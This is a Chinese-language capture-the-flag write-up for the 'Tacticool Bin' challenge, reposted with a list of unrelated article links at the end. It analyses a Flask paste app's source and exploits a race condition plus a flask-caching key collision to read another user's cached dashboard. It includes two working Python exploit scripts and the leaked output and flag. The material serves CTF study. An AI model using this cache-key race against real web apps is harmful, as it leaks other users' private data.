当前位置: 首页 > news >正文

EWCCTF2025 Tacticool Bin wp

请添加图片描述

“我只有一​​份工作! 6:00 在这个类似于 Pastebin 的网站上阅读 Larry 的消息。这是您在 9 点 30 分平静地醒来时对自己说的话。寻找另一种方式与 Larry 取得联系!值得庆幸的是,该应用程序是开源的。你只知道 Larry 使用自己的名字作为用户名,并且喜欢 l33TsP34k、glhf。标志的格式为:ECW{用户名-电话号码-域名_of_his_email}

源码

from flask import Flask, render_template, redirect, url_for, flash, request
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager, UserMixin, login_user, logout_user, login_required, current_user
from werkzeug.security import generate_password_hash, check_password_hash
from flask_caching import Cache
import re
import time
import secretsapp = Flask(__name__)config = {"DEBUG": False,"CACHE_TYPE": "SimpleCache","CACHE_DEFAULT_TIMEOUT": 10,"SQLALCHEMY_DATABASE_URI": 'sqlite:///users.db',"SECRET_KEY": secrets.token_hex(16)
}app.config.from_mapping(config)db = SQLAlchemy(app)
login_manager = LoginManager(app)
login_manager.login_view = 'login'
cache = Cache(app)# User model
class User(db.Model, UserMixin):id = db.Column(db.Integer, primary_key=True)username = db.Column(db.String(100), unique=True, nullable=False)password = db.Column(db.String(200), nullable=False)email = db.Column(db.String(200), nullable=True)phone = db.Column(db.String(20), nullable=True)@login_manager.user_loader
def load_user(user_id):return User.query.get(int(user_id))
message_list = []@app.route("/", methods=['GET', 'POST'])
def index():#POST logicif request.method == 'POST':data = request.get_json()for item in message_list:if data.get('title') == item.get('title'):return 'Title already in use !', 418message_list.append({"title": data.get('title'), "ttl": data.get('ttl'), "creation": int(time.time())})time.sleep(0.5) # Lil delay on the request for better user experience 💅cache.set(data.get('title'), data.get('message'), timeout=data.get('ttl'))return "Ok"#GET logic could be ran every 1~5s instead of everytime a user gets the homepage but eh current_time = int(time.time())for item_dict in message_list:ttl = item_dict.get('ttl')creation = item_dict.get('creation')if current_time >= creation + ttl and ttl >= 0:#We overwrite it from cache as wellcache.set(item_dict.get('title'), "Removed", 1)message_list.remove(item_dict)# We want to control what we send to the client, ideally would optimize using only one list but logic is already built another waysent_list = []for item_dict in message_list:ttl = item_dict.get('ttl')creation = item_dict.get('creation')sent_list.append({"title": item_dict.get('title'), "message": cache.get(item_dict.get('title')), "ttl": item_dict.get('ttl') + item_dict.get('creation')-int(time.time())})if current_user.is_authenticated:return render_template('index.html', username = current_user.username, data=sent_list)else:return render_template('index.html', data=sent_list)@app.route('/register', methods=['GET', 'POST'])
def register():if request.method == 'POST':username = request.form['username']email = request.form['email']password = request.form['password']phone = request.form['phone']if not re.match(r'^[a-zA-Z0-9_-]+$', username):flash('Username can only contain letters, numbers, underscores, and dashes.')return redirect(url_for('register'))if User.query.filter_by(username=username).first():flash('Username already exists')	        return redirect(url_for('register'))hashed_pw = generate_password_hash(password)new_user = User(username=username, password=hashed_pw, email=email, phone=phone)db.session.add(new_user)db.session.commit()flash('Registration successful. You can now log in.')return redirect(url_for('login'))return render_template('register.html')@app.route('/login', methods=['GET', 'POST'])
def login():if request.method == 'POST':user = User.query.filter_by(username=request.form['username']).first()if user and check_password_hash(user.password, request.form['password']):login_user(user)return redirect(url_for('dashboard', username=current_user.username))flash('Invalid credentials')return render_template('login.html')def unauthorized():if current_user.is_authenticated:return current_user.username != request.path.split("/")[-1]else:return True@app.route('/dashboard/<username>')
#User's page is static, might as well keep it cached forever ¯\_(ツ)_/¯, however, made sure anyone can't just see someone elses profile by path traversal-ing, this would be bad RIGHT ? 
@cache.cached(timeout=0, unless=unauthorized)
@login_required
def dashboard(username):user = User.query.filter_by(username=username).first()if not user:flash("Stop trying to access other users dashboards or face consequences !")return redirect(url_for('errorpage'))if user.id != current_user.id:flash("You shouldn't access another user's dashboard. =(")flash("User " + user.username + " has been alerted.")return redirect(url_for('errorpage'))return render_template('dashboard.html', name=current_user.username, email=current_user.email, phone=current_user.phone)@app.route('/alert')
@login_required
def errorpage():return render_template('error.html')@app.route('/logout')
@login_required
def logout():logout_user()return redirect("/")if __name__ == '__main__':with app.app_context():cache.clear()message_list = []#Rulesmessage_list.append({"title": "ABOUT", "ttl": -1337, "creation": 1744813509})cache.set("ABOUT", "Use our tool to anonymously emit any messages to everyone.  - - - - - - - - - - - Messages are only kept in cache for the TTL duration, it is safely deleted and overwritten after that. - - - - - - - -   Due to the increased number of users using our tool, user pages etc... are still under developement.", 0)message_list.append({"title": "RULES", "ttl": -1337, "creation": 1744813509})cache.set("RULES", "Even if there where rules... You probably wouldn't follow them", 0)db.drop_all()db.create_all()#db base entries (example only) hashed_pw = generate_password_hash('ShouldBeSecure')new_user = User(username='Fictive_User', password=hashed_pw, email='name@corporation.ctry', phone='+33 6 00 00 00 00')db.session.add(new_user)db.session.commit()app.run(host="0.0.0.0", debug=False)

一个交流网页

信息搜集

一进网站我们看到title们
请添加图片描述

但是源代码中并没有那些sweet
请添加图片描述

要我们获取其他用户信息(Larry),Larry一定访问了网页
注册admin显示
请添加图片描述

但Larry是不存在的:
访问:

http://challenges.challenge-ecw.eu:34867/dashboard/Larry

得到
请添加图片描述

if not user:flash("Stop trying to access other users dashboards or face consequences !")return redirect(url_for('errorpage'))if user.id != current_user.id:flash("You shouldn't access another user's dashboard. =(")flash("User " + user.username + " has been alerted.")return redirect(url_for('errorpage'))

我们能知道Larry用户不存在

经了解【AI安全】大模型安全相关问题_大模型dan攻击-CSDN博客

l33tsp34k(也称为leet speak、leet、1337 speak)是一种网络语言,它使用了一些特殊的字符和数字来代替英文字母,以创建一种在网络文化中广泛使用的编码形式。 最初起源于计算机黑客文化,后来在在线游戏和网络聊天室中流行开来。它既可以被用作一种特殊的编码方式,也可以被视为一种社交符号,使用户能够在网络上更好地识别彼此,或者强调自己属于特定的网络社群。虽然在过去几年中,它的使用已经有所减少,但在某些在线社区中,仍然可以见到 l33tsp34k 的存在。

Leet Speak Converter l33tsp34k/README.md at master · ZapDotZip/l33tsp34k

跟据[[flask-caching 装饰器(即 @cache.cached())在不同场景下生成的 Key]]我们想要得到
我们需要获取信息的用户名的/dashboard/<username> 的内容(Larry),那么就需要知道那个缓存键的格式

枚举 Larry的l33tsp34k 变体 以获取用户名(username)

Larry//经尝试,是L4Rry
L4Rry

那么

flask.cache + 竞争条件实现错误

[[flask_caching研究]]

当你在一个视图函数/路由上这样使用:

@app.route("/foo")
@cache.cached(timeout=60)
def foo():

其 key 的生成规则(按文档)为:

  • 默认 key_prefix='view/%s',其中 %s 会被替换为 request.path。(flask-caching.readthedocs.io)

  • 如果你没有设置 query_string=True,也没有设置 make_cache_key,也没有自定义 key_prefix,则 key ≈ "view/" + request.path。例如,若访问路径为 /foo,则 key 为 view//foo (注意前面有一个斜杠,因为 request.path 通常包括 / 开头)。(devcenter.heroku.com)

  • key_prefix 是一个带有 %s 的格式串,例如 key_prefix='myprefix/%s',则会变为 myprefix/ + request.path。(flask-caching.readthedocs.io)

漏洞分析

存在竞争条件 (Race Condition)可能

根路由下存在两套处理机制:

GET请求:

#GET logic could be ran every 1~5s instead of everytime a user gets the homepage but eh current_time = int(time.time())for item_dict in message_list:ttl = item_dict.get('ttl')creation = item_dict.get('creation')if current_time >= creation + ttl and ttl >= 0:#We overwrite it from cache as wellcache.set(item_dict.get('title'), "Removed", 1)message_list.remove(item_dict)# We want to control what we send to the client, ideally would optimize using only one list but logic is already built another waysent_list = []for item_dict in message_list:ttl = item_dict.get('ttl')creation = item_dict.get('creation')sent_list.append({"title": item_dict.get('title'), "message": cache.get(item_dict.get('title')), "ttl": item_dict.get('ttl') + item_dict.get('creation')-int(time.time())})if current_user.is_authenticated:return render_template('index.html', username = current_user.username, data=sent_list)else:return render_template('index.html', data=sent_list)

能看到,在我们传入的message_list 中获取ttl,对ttl 是否过期进行一个检验
注意到这里的message的内容获取逻辑

sent_list.append({"title": item_dict.get('title'), "message": cache.get(item_dict.get('title')), "ttl": item_dict.get('ttl') + item_dict.get('creation')-int(time.time())})

竟然是直接通过缓存键进行获取,而这里传入的缓存键的内容我们是可以控制的

cache.get(item_dict.get('title'))

正是message_list 中的 title

那么,我们就要想办法设置那么一个缓存键,跟据 [[flask-caching 装饰器(即 @cache.cached())在不同场景下生成的 Key]]

我们需要的缓存键的格式为

view//dashboard/<获取信息的用户名>

在POST请求处理中:

message_list.append({"title": data.get('title'), "ttl": data.get('ttl'), "creation": int(time.time())})
time.sleep(0.5)  # 这里产生了竞争条件窗口
cache.set(data.get('title'), data.get('message'), timeout=data.get('ttl'))

攻击时间线

  • t=0: 消息被添加到 message_list
  • t=0~0.5s: GET请求在这段时间内执行
  • t=0.5s: 消息才被设置到缓存中

这个时间差足够我们读取一些原本我们不应该看到的缓存

缓存键名冲突

在Flask-Caching中,缓存键的生成规则是:

  • 对于 @cache.cached 装饰的视图,缓存键默认包含视图路径
  • dashboard视图的缓存键很可能包含路径信息

具体攻击原理

dashboard视图的缓存机制

@app.route('/dashboard/<username>')
@cache.cached(timeout=0, unless=unauthorized)  # timeout=0 表示永久缓存
@login_required
def dashboard(username):# ...

比如当用户访问 /dashboard/admin 时,Flask-Caching会生成一个缓存键,这个键包含路径信息,view//dashboard/admin

然后按照这个键,我们能得到这个键储存的值。

攻击过程

  1. POST请求:创建一个标题为 "view//dashboard/admin" 的消息
  2. 竞争窗口:在0.5秒延迟期间,消息已在 message_list 但还未写入缓存
  3. GET请求服务器处理GET请求时:
    • 遍历 message_list,找到你的消息
    • 尝试从缓存读取 cache.get("view//dashboard/admin")
    • 此时缓存中还没有你的消息内容,但存在dashboard页面的缓存
    • 于是返回了dashboard页面的缓存内容而不是你的消息内容
  • ! 标题格式很重要

"view//dashboard/admin" 这个格式恰好匹配了:

  • Flask-Caching为dashboard视图生成的缓存键模式
  • 双斜杠 // 也是缓存键命名的一部分

那么我们知道这是一个典型的TOCTOU (Time-of-Check-Time-of-Use) 漏洞:

  • Time-of-Check: GET请求检查缓存时,发现键存在(dashboard的缓存)
  • Time-of-Use: 返回了该键对应的值(敏感的dashboard内容)

最终脚本

import requests  
import time  
import threading  # 目标URL  
url = "http://challenges.challenge-ecw.eu:34931/"  def send_post_request():  """发送POST请求创建消息"""  payload = {  "title": "view//dashboard/L4Rry",  "message": "x",  "ttl": 0.8  }  try:  response = requests.post(url, json=payload)  print(f"POST响应状态码: {response.status_code}")  print(f"POST响应内容: {response.text}")  return response  except Exception as e:  print(f"POST请求失败: {e}")  return None  def send_get_request(stop_event, results):  """在指定时间窗口内发送GET请求"""  start_time = time.time()  get_count = 0  # 在0.5秒内持续发送GET请求  while time.time() - start_time < 0.5 and not stop_event.is_set():  try:  response = requests.get(url)  get_count += 1  # 检查响应中是否包含我们想要的信息  if "view//dashboard/L4Rry" in response.text:  print(f"发现目标信息! 在第 {get_count} 次GET请求中")  results['success'] = True  results['content'] = response.text  results['count'] = get_count  stop_event.set()  # 停止其他线程  break  except Exception as e:  print(f"GET请求失败: {e}")  if not results['success']:  print(f"在时间窗口内发送了 {get_count} 次GET请求,但未找到目标信息")  def exploit():  """执行漏洞利用"""  print("开始时间窗口攻击...")  # 用于线程间通信  stop_event = threading.Event()  results = {'success': False, 'content': '', 'count': 0}  # 创建并启动GET线程  get_thread = threading.Thread(target=send_get_request, args=(stop_event, results))  get_thread.start()  # 短暂延迟确保GET线程已经开始  time.sleep(0.05)  # 发送POST请求(这会触发服务器的0.5秒延迟)  post_response = send_post_request()  # 等待GET线程完成  get_thread.join(timeout=1)  # 输出结果  if results['success']:  print("\n" + "=" * 50)  print("攻击成功!")  print(f"在 {results['count']} 次尝试中获取到敏感信息")  print("=" * 50)  # 保存结果到文件  with open("exploit_result.html", "w", encoding="utf-8") as f:  f.write(results['content'])  print("结果已保存到 exploit_result.html")  # 提取并显示关键信息  import re  # 查找包含目标标题的消息  pattern = r'view//dashboard/L4Rry.*?message[^>]*>([^<]+)'  matches = re.findall(pattern, results['content'], re.IGNORECASE | re.DOTALL)  if matches:  print(f"提取到的消息内容: {matches[0]}")  else:  print("\n攻击失败,未能在时间窗口内获取敏感信息")  return results  def alternative_exploit():  """备选方案:更精确的时间控制"""  print("\n尝试备选攻击方案...")  def timed_get(stop_time, results):  while time.time() < stop_time:  try:  response = requests.get(url)  if "view//dashboard/L4Rry" in response.text:  results['success'] = True  results['content'] = response.text  break  except:  pass  # 计算精确的时间点  start_time = time.time()  post_time = start_time + 0.1  # 100ms后发送POST  stop_get_time = post_time + 0.4  # POST后400ms停止GET  results = {'success': False, 'content': ''}  get_thread = threading.Thread(target=timed_get, args=(stop_get_time, results))  get_thread.start()  # 等待到预定时间发送POST  while time.time() < post_time:  time.sleep(0.001)  send_post_request()  get_thread.join()  if results['success']:  print("备选方案成功!")  with open("exploit_result_alt.html", "w", encoding="utf-8") as f:  f.write(results['content'])  else:  print("备选方案失败")  return results  if __name__ == "__main__":  # 主要攻击方法  result1 = exploit()  if not result1['success']:  # 如果主要方法失败,尝试备选方案  result2 = alternative_exploit()  print("\n攻击完成")
const messages = [{message: "Use our tool to anonymously emit any messages to everyone. ------- Messages are only kept in cache for the TTL duration, it is safely deleted and overwritten after that. ------ Due to the increased number of users using our tool, user pages etc... are still under development.",title: "ABOUT",ttl: -16371018},{message: "Even if there where rules... You probably wouldn't follow them",title: "RULES",ttl: -16371018},{message: `<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>TACTICOOL BIN - Dashboard</title><link rel="stylesheet" type="text/css" href="/static/css/login.css"><link href="https://fonts.googleapis.com/css2?family=Roboto+Mono&display=swap" rel="stylesheet">
</head>
<body style="flex-direction: column;"><h2>Welcome, L4Rry!</h2><h2>Your email is Congr@tulat.on!</h2><h2>Your phone number is 1333333337!</h2><a href="/logout">Logout</a>
</body>
</html>`,title: "view//dashboard/L4Rry",ttl: -47.200000047683716}
];

更简短脚本:
但事实上,我们不去登录也能获取

import requests  
import time  
import re  TARGET = "http://challenges.challenge-ecw.eu:34931"  # 1. 注册并登录攻击者  
s = requests.Session()  
user = f"a{int(time.time())}"  
s.post(f"{TARGET}/register", data={'username': user, 'password': 'p', 'email': 'a@a.com', 'phone': '1'})  
s.post(f"{TARGET}/login", data={'username': user, 'password': 'p'})  # 2. 发送缓存污染消息  
s.post(f"{TARGET}/",  json={"title": "view//dashboard/L4Rry", "message": "x", "ttl": -1337},  headers={'Content-Type': 'application/json'})  # 3. 竞争条件:快速刷新获取数据  
for i in range(15):  r = s.get(f"{TARGET}/")  if "Your email is" in r.text:  # # 4. 提取敏感信息  print(r.text)  break  time.sleep(0.03)

得到

ECW{L4Rry-1333333337-tulat}

http://www.dtcms.com/a/520679.html

相关文章:

  • 【Trae+AI】和Trae学习搭建App_01(附加可略过):测试Trae的后端功能
  • 网站源码 下载查域名价格
  • 上海做网站联系电话山东兴华建设集团有限公司网站
  • 使用 Vue3 和 Element Plus 实现选择新增用户集下拉选项框,切换类型,有物业,网格,电子围栏,行政区划管理
  • Vue项目页面间,页面中跳转及刷新规划,何时使用router-view,router-link,iframe,slots ,使用场景,及对应场景的完整使用示例
  • 【Qt】VS Code配置Qt UI插件,vscode打开Qt Designer ,vscode打开Qt*.ui文件
  • 服务网站建设的公司安装网站系统
  • 直播做网站数字广东网络建设有限公司介绍
  • 宇树科技:决定更名
  • 2025年MathorCup 大数据竞赛明日开赛,注意事项!论文提交规范、模板、承诺书正确使用!2025年第六届MathorCup数学应用挑战赛——大数据竞赛
  • 【案例实战】鸿蒙智能日程应用性能优化实战:从卡顿到丝滑的完整历程
  • 创建网站商城电子商务企业网站建设前期规划方案
  • php租车网站源码营销型网站规划
  • Universal Extractors (万能解压器) 支持500+格式
  • 网站策划岗位要求wordpress htaccess文件
  • Google Play多区测试与真机复现:用纯净IP重现真实流量(含技术方案)
  • Lombok是什么?
  • 淘客网站做单品类wordpress词汇插件
  • 内网穿透的应用-从崩溃到流畅!Web-Check+cpolar的站点优化实战
  • opencv模版匹配
  • Cython 出现‘Failed to Map Segment from Shared Object‘错误
  • 公司做网站要多久网站建设需要到哪些知识
  • 网站制作模板图片html5 爱情网站模板
  • YARP 全面详解
  • 唐山网站建设汉狮怎么样需要自己的网站需要怎么做
  • Flutter:启动动画Lottie
  • C#模拟鼠标键盘操作的多种实现方案
  • 中国热门网站wordpress中英双语选择
  • DDD(三)领域模型关键词解释、领域模型分类、关系图
  • Reward Design with Language Models 译读笔记